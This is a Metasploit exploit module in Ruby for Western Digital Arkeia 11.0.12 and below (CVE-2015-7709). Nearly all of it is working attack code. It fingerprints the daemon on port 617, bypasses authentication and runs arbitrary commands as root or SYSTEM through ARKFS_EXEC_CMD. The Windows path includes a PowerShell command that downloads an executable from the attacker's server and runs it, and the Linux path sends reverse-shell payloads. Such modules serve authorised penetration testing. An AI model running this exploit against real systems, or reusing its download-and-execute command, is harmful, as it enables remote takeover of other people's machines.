metasploit-framework/modules/exploits/multi/misc/arkeia_agent_exec.rb

561 lines
15 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Western Digital Arkeia Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
insufficient checks on the authentication of all clients, this can be bypassed.
Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
SYSTEM privileges.
The daemon is installed on both the Arkeia server as well on all the backup clients. The module
has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
},
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-7709' ],
[ 'EDB', '37600' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jul/54' ]
],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
}
],
[ 'Linux',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'DisableNops' => true,
'Space' => 60000,
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'perl python bash-tcp gawk openssl'
}
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 10 2015'))
register_options(
[
Opt::RPORT(617),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
])
end
def check
connect
req = "\x00\x41"
req << "\x00" * 5
req << "\x73"
req << "\x00" * 12
req << "\xc0\xa8\x02\x74"
req << "\x00" * 56
req << "\x74\x02\xa8\xc0"
req << 'ARKADMIN'
req << "\x00"
req << 'root'
req << "\x00"
req << 'root'
req << "\x00" * 3
req << '4.3.0-1' # version?
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
return Exploit::CheckCode::Unknown
end
req = "\x00\x73"
req << "\x00" * 5
req << "\x0c\x32"
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
return Exploit::CheckCode::Unknown
end
req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
req << 'EN' # Language
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
unless data_length == 0
disconnect
return Exploit::CheckCode::Unknown
end
# ARKADMIN_GET_CLIENT_INFO
req = "\x00\x62\x00\x01"
req << "\x00" * 3
req << "\x26"
req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
req << "\x00\x32\x38"
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
unless data_length == 0
disconnect
return Exploit::CheckCode::Unknown
end
req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
req << "\x00" * 12
sock.put(req)
# 1st packet
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
return Exploit::CheckCode::Unknown
end
# 2nd packet
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
return Exploit::CheckCode::Unknown
end
# 3rd packet
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
disconnect
return Exploit::CheckCode::Unknown
end
# 4th packet
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
disconnect
return Exploit::CheckCode::Unknown
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
return Exploit::CheckCode::Unknown
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
return Exploit::CheckCode::Unknown
end
if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
version = $1
vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
if Gem::Version.new(version) <= Gem::Version.new('11.0.12')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
else
vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
return Exploit::CheckCode::Unknown
end
end
def exploit
if target.name =~ /Windows/
@down_file = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
begin
Timeout.timeout(datastore['HTTP_DELAY']) {super}
rescue Timeout::Error
end
elsif target.name =~ /Linux/
communicate(payload.encoded)
return
end
end
def primer
@payload_url = get_uri
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
# is not possible on Windows agents.
command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""
communicate(command)
end
def communicate(command)
print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")
connect
print_status("#{rhost}:#{rport} - Sending agent communication")
req = "\x00\x41\x00\x00\x00\x00\x00\x70"
req << "\x00" * 12
req << "\xc0\xa8\x02\x8a"
req << "\x00" * 56
req << "\x8a\x02\xa8\xc0"
req << 'ARKFS'
req << "\x00"
req << 'root'
req << "\x00"
req << 'root'
req << "\x00" * 3
req << '4.3.0-1' # Client version ?
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end
req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end
req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
req << "\x00"
req << 'EN' # English language?
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end
data_length = data_length.unpack('n')[0]
unless data_length == 0
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
end
req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
req << "\x00\x31"
req << "\x00" * 11
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end
data_length = data_length.unpack('n')[0]
unless data_length == 0
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
end
req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
req << "\x00" * 11
sock.put(req)
command_length = '%02x' % command.length
command_length = command_length.scan(/../).map { |x| x.hex.chr }.join
req = "\x00\x64\x00\x04\x00\x04"
req << [command.length].pack('n')
req << command # Our command to be executed
req << "\x00"
print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")
sock.put(req)
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end
# 1st Packet
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end
# 2st Packet
header = sock.get_once(6)
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end
data_length = sock.get_once(2)
unless data_length && data_length.length == 2
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end
data_length = data_length.unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end
end
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri == get_resource
print_status('Sending payload...')
send_response(cli, @pl)
register_files_for_cleanup("c:\\#{@down_file}.exe")
end
end
def autofilter
true
end
end